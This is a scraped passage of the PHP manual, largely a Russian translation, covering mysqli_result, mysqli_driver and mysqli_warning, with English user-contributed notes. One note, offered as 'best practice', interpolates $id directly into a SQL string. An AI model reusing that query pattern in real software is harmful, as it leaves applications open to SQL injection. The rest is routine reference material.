I checked the bug database and as long as your PHP installation is up to date, the order of setting properties and calling the constructor should now follow the order specified in the documentation. There was a little while that a patch had been introduced where it was happening the other way around but that has been fixed now.
macole at paypal dot com 30-Jun-2016 02:56
Note that if you supply a class that has a __set() magic method defined in it, that method will be called for any properties that are not defined in your class.  For example:

<?php

class SomeClass {
    private $id;
    public $partner_name;
    public function __set( $name, $value ) {
        echo "__set was called!  Name = $name\n";
        $this->$name = $value;
    }
}

$db = new mysqli( 'localhost', 'Username', 'Password', 'DbName' );
$result = $db->query( 'SELECT id, partner_name, partner_type FROM submissions' );
$object = $result->fetch_object( 'SomeClass' );

?>

Produces the following output:

__set was called!  Name = partner_type
neo22s at gmail dot com 08-May-2016 08:04
Since 5.6.21 and PHP 7.0.6

mysqli_fetch_object() sets the properties of the object AFTER calling the object constructor. Not BEFORE as was in previous versions.

So behaviour has changed. Seems a bug but not sure if was done intentionally.

https://bugs.php.net/bug.php?id=72151
object-array at gmail dot com 17-Feb-2016 08:56
Please mind the difference between objects and arrays in PHP>=5: arrays are by value while objects are by reference.

<?
$o = mysqli_fetch_object($res);
$o1 = $o;
$o1->value = 10;

$a = mysqli_fetch_array($res);
$a1 = $a;
$a1['value'] = 10;

echo $o->value; // 10
echo $a['value']; // (original value from db)
?>

Should same behaviour be intended, the object needs to be cloned:

<?
$o1 = clone $o;
?>

More about object cloning:
http://php.net/manual/en/language.oop5.cloning.php
me at philkershaw dot me 28-Mar-2014 05:02
As a best practice, if you intend to use a defined class when using fetching_object(). Put the data obtaining code within a static method of the defined class. Otherwise, wherever you include the file (if not using an autoloader) the data connection will occur whether you want it to or not.

For example:

<?php

class User
{
    public $name;

    public static function getUser($id)
    {
        $conn = new mysqli('localhost', 'username', 'password', 'database');
        if ($result = $conn->query("SELECT * FROM users WHERE id = {$id} LIMIT 1")) {
            return $result->fetch_object('User');
            $result->close();
        }
    }
}
?>

Call the static method to obtain an instance of the User class with your data applied to it.

<?php
$user = User::getUser('31');
echo $user->name; // echo's 'Phil'
?>
Driek 26-Jun-2012 05:18
As indicated in the user comments of the mysql_fetch_object, it is important to realize that class fields get values assigned to them BEFORE the constructor is called.
For example;
<?php

class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    $this->id = $id;
  }
}

// some code for creating a database connection... i.e. mysqli object
....
$result = $con->query("select id, name from employees");
$anEmployee = $result->fetch_object("Employee");
?>
will result in the ID being 0 because it is overridden by the constructor. Therefore, it is useful to check if the class field is already set.
I.e.
<?php
class Employee
{
  private $id;

  public function __construct($id = 0)
  {
    if (!$this->id)
    {
       $this->id = $id
    }
  }
}
?>
Also note that the fields which will be assigned by fetch_object are case sensitive. If your table has the field "ID", it will result in the class field $ID being set. A simple work-around is to use aliases. I.e. "SELECT *, ID as id FROM myTable"
I hope this helps some people.
Alex 27-Jan-2012 04:36
Make sure to specify the full namespace for the "string $class_name" parameter and not a partial one, as it won't find it. For example:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'SecondLevel\\MyClass');
    }
}

?>

... will not work but this will:

<?php

namespace Root(backslash)FirstLevel
{
    public static function Test($result)
    {
        return mysqli_fetch_object($result, 'Root\\FirstLevel\\SecondLevel\\MyClass');
    }
}

?>
benpptung at tacol dot biz 08-Aug-2009 08:04
I don't know why no one talk about this.
fetch_object is very powerful since you can instantiate an Object which has the methods you wanna have.

You can try like this..

<?php
class PowerfulVO extends AbstractWhatEver {

    public $field1;
    private $field2; // note : private is ok

    public function method(){
       // method in this class
    }
}

     $sql = "SELECT * FROM table ..."
     $mysqli = new mysqli(........);
     $result = $mysqli->query($sql);
     $vo = $result->fetch_object('PowerfulVO');
?>

Note : if the field is not defined in the class, fetch_object will add this field for you as public.

The method is very powerful, especially if you want to use a VO design pattern or class mapping feature with Flex Remoting Object( Of course, you need to have ZendAMF or AMFPHP ..framework)

Hope this help and open new possibilities for you
peterbelm at g[oogle]mail dot com 18-Aug-2008 07:10
If your SQL code selects columns with empty names like so:

SELECT id as ``...

You will get a fatal error "Cannot access empty property", this took me a while to track down!

Obviously your SQL really shouldn't do that, and should be fixed but I'm going to submit a feature request to ask for a better error message for that.


Выбирает следующую строку из набора результатов и помещает её в обычный массив

  • « mysqli_result::fetch_object
  • mysqli_result::$field_count »
  • PHP Manual
  • mysqli_result
  • Выбирает следующую строку из набора результатов и помещает её в обычный массив

mysqli_result::fetch_row

mysqli_fetch_row

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_row -- mysqli_fetch_row — Выбирает следующую строку из набора результатов и помещает её в обычный массив

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_row(): array|null|false

Процедурный стиль

mysqli_fetch_row(mysqli_result $result): array|null|false

Выбирает одну строку данных из результирующего набора и возвращает её в виде массива, в котором индексы элементов соответствуют номерам столбцов (начиная с 0). Каждый последующий вызов функции будет возвращать массив с данными следующей строки набора или null, если строки закончились.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает нумерованный массив, представляющий выбранную строку, null, если в наборе результатов больше нет строк или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli_result::fetch_row()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* получение массива объектов */
while ($row = $result->fetch_row()) {
printf("%s (%s)\n", $row[0], $row[1]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* получение ассоциативного массива */
while ($row = mysqli_fetch_row($result)) {
printf("%s (%s)\n", $row[0], $row[1]);
}

Результат выполнения данных примеров:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Смотрите также

  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_assoc() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_fetch_column() - Получает один столбец из следующей строки набора результатов
  • mysqli_fetch_object() - Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

sainthyoga2003 at gmail dot com 17-Mar-2014 03:35
Note that mysqli_fetch() is deprecated but still is in PHP function list. mysqli_fetch_row() is nowadays mysql procedural style used, but is not listed in PHP functions.
evangun2001 at yahoo dot fr 16-Sep-2007 02:24
Remember that fetch() and fetch_row() are two different things, and differ in the way to use them.

- fetch() is used on a statement (like an executed prepared statement) and needs to be used in association with bind_result().

- fetch_row() is used on a result (like the result of query()).

As a consequence, if you want to use to use fetch_row() with an executed prepared statement, first you'll have to get the result out of this statement with mysqli_store_result() or mysqli_use_result().
Stephen 23-Jan-2007 02:29
It's worth noting that the MySQLi functions (and, I presume, the MySQL functions) fetch a string regardless of the MySQL data type. E.g. if you fetch a row with an integer column, the corresponding value for that column and row will still be stored as a string in the array returned by mysql_fetch_row.
maillist at pnpitalia.it 06-Jan-2004 10:01
from "README.PHP4-TO-PHP5-THIN-CHANGES"

4. Be careful when porting from ext/mysql to ext/mysqli. The following
   functions return NULL when no more data is available in the result set
   (ext/mysql's functions return FALSE).

    - mysqli_fetch_row()
    - mysqli_fetch_array()
    - mysqli_fetch_assoc()


Получает количество полей в наборе результатов

  • « mysqli_result::fetch_row
  • mysqli_result::field_seek »
  • PHP Manual
  • mysqli_result
  • Получает количество полей в наборе результатов

mysqli_result::$field_count

mysqli_num_fields

(PHP 5, PHP 7, PHP 8)

mysqli_result::$field_count -- mysqli_num_fields — Получает количество полей в наборе результатов

Описание

Объектно-ориентированный стиль

int $mysqli_result->field_count;

Процедурный стиль

mysqli_num_fields(mysqli_result $result): int

Возвращает количество полей в наборе результатов.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Целое число (int), представляющее количество полей.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode, District, Population FROM City ORDER BY ID LIMIT 1");

/* Получение количества полей в наборе результатов */
$field_cnt = $result->field_count;

printf("Получено %d полей.\n", $field_cnt);

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($link, "SELECT Name, CountryCode, District, Population FROM City ORDER BY ID LIMIT 1");

/* Получение количества полей в наборе результатов */
$field_cnt = mysqli_num_fields($result);

printf("Получено %d полей.\n", $field_cnt);

Результат выполнения данных примеров:

Получено 4 полей.

Смотрите также

  • mysqli_fetch_field() - Возвращает следующее поле результирующего набора

User Contributed Notes

There are no user contributed notes for this page.


Установить указатель поля на определённое смещение

  • « mysqli_result::$field_count
  • mysqli_result::free »
  • PHP Manual
  • mysqli_result
  • Установить указатель поля на определённое смещение

mysqli_result::field_seek

mysqli_field_seek

(PHP 5, PHP 7, PHP 8)

mysqli_result::field_seek -- mysqli_field_seek — Установить указатель поля на определённое смещение

Описание

Объектно-ориентированный стиль

public mysqli_result::field_seek(int $index): bool

Процедурный стиль

mysqli_field_seek(mysqli_result $result, int $index): bool

Устанавливает указатель поля на заданное смещение. Следующий вызов mysqli_fetch_field() позволит получить информацию о столбце с позицией смещения.

Замечание:

Для поиска с начала строки необходимо установить нулевое значение смещения.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

index

Номер поля. Это значение должно быть в следующем диапазоне: от 0 до число полей - 1.

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.0.0 | Функция теперь всегда возвращает значение true. Ранее она возвращала значение false в случае возникновения ошибки.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Ошибка соединения: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Получить информацию о поле во втором столбце */
$result->field_seek(1);
$finfo = $result->fetch_field();

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);

$result->close();
}

/* Закрыть соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Ошибка соединения: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Получить информацию о поле во втором столбце */
mysqli_field_seek($result, 1);
$finfo = mysqli_fetch_field($result);

printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);

mysqli_free_result($result);
}

/* Закрыть соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Имя:     SurfaceArea
Таблица:    Country
Макс. длина: 10
Флаги:    32769
Тип:     4

Смотрите также

  • mysqli_fetch_field() - Возвращает следующее поле результирующего набора

User Contributed Notes

There are no user contributed notes for this page.


Освобождает память, занятую результатами запроса

  • « mysqli_result::field_seek
  • mysqli_result::getIterator »
  • PHP Manual
  • mysqli_result
  • Освобождает память, занятую результатами запроса

mysqli_result::free

mysqli_result::close

mysqli_result::free_result

mysqli_free_result

(PHP 5, PHP 7, PHP 8)

mysqli_result::free -- mysqli_result::close -- mysqli_result::free_result -- mysqli_free_result — Освобождает память, занятую результатами запроса

Описание

Объектно-ориентированный стиль

public mysqli_result::free(): void
public mysqli_result::close(): void
public mysqli_result::free_result(): void

Процедурный стиль

mysqli_free_result(mysqli_result $result): void

Освобождает память, занятую результатами запроса.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_stmt_get_result() - Получает результат из подготовленного запроса в виде объекта mysqli_result
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

polygon dot co dot in at gmail dot com 19-Nov-2021 10:16
We should free the mysql results using mysqli_free_result respectively or else this will consume your server RAM resource.

This is demonstrated as below

<?php

$link = mysqli_connect('Hostname','Username','Password','Database');

echo '<br/>Memory Usage Before Query = '.memory_get_usage(false); // 449464 bytes

$resultResource = mysqli_query($link, 'SELECT * FROM test');

echo '<br/>Memory Usage after Query = '.memory_get_usage(false); // 466528 bytes

$result = array();
while ($result[] = mysqli_fetch_assoc($resultResource)) {}

echo '<br/><br/>Memory Usage Before Free Result = '.memory_get_usage(false); // 474208 bytes

mysqli_free_result($resultResource);

echo '<br/>Memory Usage After Free Result = '.memory_get_usage(false); // 457336 bytes

?>

Output below.

Memory Usage Before Query = 449464
Memory Usage after Query = 466528

Memory Usage Before Free Result = 474208
Memory Usage After Free Result = 457336

So, One can observer there is memory usage after the query is executed. The results are returned by DB server to the web server instantaniously once the query execution is over. The results present on web server are then processed for fetching from the resource link on web server.

Also this is observed that there is lesser memory usage after using mysqli_free_result because the resources stored on web server for respective query are freed by providing respective resource link.
jack_action100 at hotmail dot example dot com 20-Mar-2019 12:43
If you are STILL getting this error, even after freeing your results:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

You may have a stored procedure in your query.   A procedure can return more than one result set, and it will always return one extra empty result set that carries some meta information on the procedure call itself, especially error information. ( source:  https://bugs.mysql.com/bug.php?id=71044 )

While calling single procedures, with one SELECT in them, using mysqli->query("CALL `stored_procedure`();"), I had to do the following to make it work between two calls:

<?php
$result->free();
$mysqli->next_result();
?>

It has no negative impact if you are not calling a stored procedure.
Vector at ionisis dot com 28-Dec-2009 05:17
If you are getting this error:
Internal SQL Bug: 2014, Commands out of sync; you can't run this command now

Then you never called mysqli_result::free(), mysqli_result::free_result(), mysqli_result::close(), or mysqli_free_result() in your script, and must call it before executing another stored procedure.
Anonymous 18-Oct-2009 03:49
Freeing the memory associated with a result means that the references returned by mysqli_fetch_object (or equivalent) are cleared. Thus if you should pass an object pointing to a database row _by reference_, every call of mysqli_free_result will discard the referenced data.


Извлекает внешний итератор

  • « mysqli_result::free
  • mysqli_result::$lengths »
  • PHP Manual
  • mysqli_result
  • Извлекает внешний итератор

mysqli_result::getIterator

(PHP 8)

mysqli_result::getIterator — Извлекает внешний итератор

Описание

public mysqli_result::getIterator(): Iterator

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Возвращает длины полей текущей строки результирующего набора

  • « mysqli_result::getIterator
  • mysqli_result::$num_rows »
  • PHP Manual
  • mysqli_result
  • Возвращает длины полей текущей строки результирующего набора

mysqli_result::$lengths

mysqli_fetch_lengths

(PHP 5, PHP 7, PHP 8)

mysqli_result::$lengths -- mysqli_fetch_lengths — Возвращает длины полей текущей строки результирующего набора

Описание

Объектно-ориентированный стиль

?array $mysqli_result->lengths;

Процедурный стиль

mysqli_fetch_lengths(mysqli_result $result): array|false

mysqli_fetch_lengths() возвращает массив, элементы которого представляют длины каждого поля текущей строки результирующего набора.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Массив целых чисел, представляющих размеры значений столбцов (исключая какие-либо завершающие нуль-символы). false в случае возникновения ошибки.

mysqli_fetch_lengths() относится только к текущей строке. Функция вернёт false, если будет вызвана до вызова mysqli_fetch_row/array/object или если в результирующем наборе больше нет строк.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = $mysqli->query($query)) {

$row = $result->fetch_row();

/* выведем длины полей */
foreach ($result->lengths as $i => $val) {
printf("Поле %2d имеет длину %2d\n", $i+1, $val);
}
$result->close();
}

/* закрываем подключение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* проверка подключения */
if (mysqli_connect_errno()) {
printf("Не удалось подключиться: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT * from Country ORDER BY Code LIMIT 1";

if ($result = mysqli_query($link, $query)) {

$row = mysqli_fetch_row($result);

/* выведем длины полей */
foreach (mysqli_fetch_lengths($result) as $i => $val) {
printf("Поле %2d имеет длину %2d\n", $i+1, $val);
}
mysqli_free_result($result);
}

/* закрываем подключение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Поле  1 имеет длину  3
Поле  2 имеет длину  5
Поле  3 имеет длину 13
Поле  4 имеет длину  9
Поле  5 имеет длину  6
Поле  6 имеет длину  1
Поле  7 имеет длину  6
Поле  8 имеет длину  4
Поле  9 имеет длину  6
Поле 10 имеет длину  6
Поле 11 имеет длину  5
Поле 12 имеет длину 44
Поле 13 имеет длину  7
Поле 14 имеет длину  3
Поле 15 имеет длину  2

User Contributed Notes

There are no user contributed notes for this page.


Получает количество строк в наборе результатов

  • « mysqli_result::$lengths
  • mysqli_driver »
  • PHP Manual
  • mysqli_result
  • Получает количество строк в наборе результатов

mysqli_result::$num_rows

mysqli_num_rows

(PHP 5, PHP 7, PHP 8)

mysqli_result::$num_rows -- mysqli_num_rows — Получает количество строк в наборе результатов

Описание

Объектно-ориентированный стиль

int|string $mysqli_result->num_rows;

Процедурный стиль

mysqli_num_rows(mysqli_result $result): int|string

Возвращает число рядов в результирующей выборке.

Поведение функции mysqli_num_rows() зависит от того, используется ли буферизованная или не буферизованная результирующая выборка. Функция возвращает 0 для небуферизованных наборов результатов, если с сервера не были получены все строки.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает целое число (int), представляющее количество выбранных строк. Возвращает 0 в небуферизованном режиме, если с сервера не были получены все строки.

Замечание:

Если количество строк больше, чем PHP_INT_MAX, число будет возвращено как строка (string).

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Code, Name FROM Country ORDER BY Name");

/* Получение количества строк в наборе результатов */
$row_cnt = $result->num_rows;

printf("Получено %d строк.\n", $row_cnt);
?>

Пример #2 Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($link, "SELECT Code, Name FROM Country ORDER BY Name");

/* Получение количества строк в наборе результатов */
$row_cnt = mysqli_num_rows($result);

printf("Получено %d строк.\n", $row_cnt);

Результат выполнения данных примеров:

Получено 239 строк.

Примечания

Замечание:

В отличие от функции mysqli_stmt_num_rows(), у этой функции нет варианта в объектно-ориентированном стиле. В объектно-ориентированном стиле используйте метод чтения.

Смотрите также

  • mysqli_affected_rows() - Получает число строк, затронутых предыдущей операцией MySQL
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_stmt_num_rows() - Возвращает количество строк, полученных с сервера

User Contributed Notes

min0u 13-May-2017 02:56
This function doesn't work with LIMIT used jointly with SQL_CALC_FOUND_ROWS. If you want to obtain the total rows found you must do it manually, example:

<?php
public function errorList(int $limit=25,int $offset=0){
        $errorList = array();
        $result = $this->con->query("SELECT SQL_CALC_FOUND_ROWS id, erreur FROM Erreurs ORDER BY id DESC LIMIT $limit OFFSET $offset");
        while($row = $result->fetch_assoc()){
            $errorList[] = new Erreur($row);
        }
        $result->free();
        // $foundRows = $result->num_rows; // 25
        $foundRows = $this->con->query("SELECT FOUND_ROWS() as foundRows");
        $this->foundRows = $foundRows->fetch_assoc(); // 178
        return $errorList;
}
?>
justso at inbox dot ru 14-Nov-2015 09:36
in php 5.3.8 had unexpected troubles when checking for mysqli_result::$num_rows
If the result of the query is empty then var_dump of the result will be like this:
class mysqli_result#5 (5) {
  public $current_field => NULL
  public $field_count => NULL
  public $lengths => NULL
  public $num_rows => NULL
  public $type => NULL
}
but var_dump($result->num_rows) will give integer-typed zero instead of NULL:
int(0)
borisigna 07-Aug-2011 08:19
If you have problems making work this num_rows, you have to declare ->store_result() first.

<?php
$mysqli = new mysqli("localhost","root", "", "tables");

$query = $mysqli->prepare("SELECT * FROM table1");
$query->execute();
$query->store_result();

$rows = $query->num_rows;

echo $rows;

// Return 4 for example
?>


Класс mysqli_driver

(PHP 5, PHP 7, PHP 8)

Введение

Класс mysqli_driver является экземпляром шаблона monostate, то есть есть только один драйвер, к которому можно получить доступ через произвольное количество экземпляров mysqli_driver.

Обзор классов

final class mysqli_driver {
/* Свойства */
public readonly string $client_info;
public readonly int $client_version;
public readonly int $driver_version;
public int $report_mode;
}

Свойства

client_info

Версия заголовка Client API

client_version

Версия Client

driver_version

Версия MySQLi Driver

Внимание

Свойство объявлено устаревшим в PHP 8.1.0. Полагаться на свойство крайне не рекомендуется.

embedded

Статус поддержки MySQLi Embedded

Внимание

Свойство удалено в PHP 8.0.0.

reconnect

Разрешить или запретить переподключение (смотрите INI-директиву mysqli.reconnect)

Внимание

Свойство было удалено вместе с INI-директивой mysqli.reconnect в PHP 8.2.0.

report_mode

Установить MYSQLI_REPORT_OFF, MYSQLI_REPORT_ALL или любую комбинацию из MYSQLI_REPORT_STRICT (вызов исключений для ошибок), MYSQLI_REPORT_ERROR (сообщение об ошибках) и MYSQLI_REPORT_INDEX (ошибки, связанные с индексами). Смотрите также mysqli_report().

Список изменений

Версия | Описание
8.2.0 | Свойство mysqli_driver::$reconnect было удалено.
8.1.0 | Свойство mysqli_driver::$driver_version объявлено устаревшим.
8.0.0 | Свойство mysqli_driver::$embedded было удалено.
7.4.0 | Метод mysqli_driver::embedded_server_start() и mysqli_driver:embedded_server_end() были удалены.

Содержание

  • mysqli_driver::embedded_server_end — Останавливает встроенный сервер
  • mysqli_driver::embedded_server_start — Инициализирует и запускает встроенный сервер
  • mysqli_driver::$report_mode — Устанавливает режим отчёта об ошибках mysqli

User Contributed Notes

There are no user contributed notes for this page.


Останавливает встроенный сервер

  • « mysqli_driver
  • mysqli_driver::embedded_server_start »
  • PHP Manual
  • mysqli_driver
  • Останавливает встроенный сервер

mysqli_driver::embedded_server_end

mysqli_embedded_server_end

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_end -- mysqli_embedded_server_end — Останавливает встроенный сервер

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

Объектно-ориентированный стиль

public mysqli_driver::embedded_server_end(): void

Процедурный стиль

mysqli_embedded_server_end(): void
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Инициализирует и запускает встроенный сервер

  • « mysqli_driver::embedded_server_end
  • mysqli_driver::$report_mode »
  • PHP Manual
  • mysqli_driver
  • Инициализирует и запускает встроенный сервер

mysqli_driver::embedded_server_start

mysqli_embedded_server_start

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_start -- mysqli_embedded_server_start — Инициализирует и запускает встроенный сервер

Внимание

Эта функция была УДАЛЕНА в PHP 7.4.0.

Описание

Объектно-ориентированный стиль

public mysqli_driver::embedded_server_start(int $start, array $arguments, array $groups): bool

Процедурный стиль

mysqli_embedded_server_start(int $start, array $arguments, array $groups): bool
Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает режим отчёта об ошибках mysqli

  • « mysqli_driver::embedded_server_start
  • mysqli_warning »
  • PHP Manual
  • mysqli_driver
  • Устанавливает режим отчёта об ошибках mysqli

mysqli_driver::$report_mode

mysqli_report

(PHP 5, PHP 7, PHP 8)

mysqli_driver::$report_mode -- mysqli_report — Устанавливает режим отчёта об ошибках mysqli

Описание

Объектно-ориентированный стиль

int $mysqli_driver->report_mode;

Процедурный стиль

mysqli_report(int $flags): bool

В зависимости от флагов, функция устанавливает режим отчёта об ошибках mysqli на исключение, предупреждение или отсутствие. Если установлено значение MYSQLI_REPORT_ALL или MYSQLI_REPORT_INDEX, функция также будет информировать о запросах, которые не используют индекс (или используют неверный индекс).

Начиная с PHP 8.1.0, по умолчанию установлено значение MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT. Ранее оно было MYSQLI_REPORT_OFF.

Список параметров

flags

Поддерживаемые флаги
Имя | Описание
MYSQLI_REPORT_OFF | Отключить протоколирование
MYSQLI_REPORT_ERROR | Заносить в протокол ошибки вызовов функций mysqli
MYSQLI_REPORT_STRICT | Вместо сообщений об ошибках выбрасывать исключение mysqli_sql_exception
MYSQLI_REPORT_INDEX | Заносить в протокол факты использования в запросах неверного индекса (или когда индекс не используется вообще)
MYSQLI_REPORT_ALL | Включить все настройки (заносить в протокол все события)

Возвращаемые значения

Возвращает true.

Список изменений

Версия | Описание
8.1.0 | Теперь по умолчанию установлено значение MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT. Ранее оно было MYSQLI_REPORT_OFF.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php

/* включение протоколирования */
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL;

try {
/* если получится подключится, будет выброшено исключение mysqli_sql_exception */
$mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

/* этот запрос должен сообщить об ошибке */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* этот запрос должен сообщить о неверном индексе, если у столбца population нет индекса */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

Пример #2 Процедурный стиль

<?php

/* включение протоколирования */
mysqli_report(MYSQLI_REPORT_ALL);

try {
/* Если соединение завершилось с ошибкой, будет выброшено исключение mysqli_sql_exception */
$link = mysqli_connect("localhost", "my_user", "my_password", "my_db");

/* этот запрос должен сообщить об ошибке */
$result = mysqli_query($link, "SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* этот запрос должен сообщить о неверном индексе, если у столбца population нет индекса */
$result = mysqli_query($link, "SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

Пример #3 Отчёт об ошибках, кроме ошибок неверного индекса

<?php

/* включение протоколирования */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

try {
/* если получится подключится, будет выброшено исключение mysqli_sql_exception */
$mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

/* этот запрос должен сообщить об ошибке */
$result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

/* это НЕ БУДЕТ сообщать об ошибках, даже если индекс недоступен */
$result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
error_log($e->__toString());
}

Смотрите также

  • mysqli_sql_exception
  • set_exception_handler() - Задаёт пользовательский обработчик исключений
  • error_reporting() - Задаёт, какие ошибки PHP попадут в отчёт

User Contributed Notes

welfordmartin at gmail dot com 09-Sep-2020 03:26
As a recommendaton on memory management please don't use the objective way your creating an object to specify one property and thats all your doing with it, much more effective both for the parser and for memory to use the proccedual style for setting the report flag.
nineoclick (atsymbol) gmail (dot) com 16-Jun-2017 10:42
Seems not clear but flags *could be combined*, as per other flags.
For example:

<?php

# wannabe noticed about all errors except those about indexes
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL & ~MYSQLI_REPORT_INDEX;

?>


Класс mysqli_warning

(PHP 5, PHP 7, PHP 8)

Введение

Представляет предупреждение MySQL.

Обзор классов

final class mysqli_warning {
/* Свойства */
public string $message;
public string $sqlstate;
public int $errno;
/* Методы */
private __construct()
public next(): bool
}

Свойства

message

Строка сообщения

sqlstate

Код SQLstate

errno

Номер ошибки

Содержание

  • mysqli_warning::__construct — Закрытый конструктор для запрета прямого создания экземпляра
  • mysqli_warning::next — Получает следующее предупреждение

User Contributed Notes

hlopetz at gmail com 04-Feb-2013 12:51
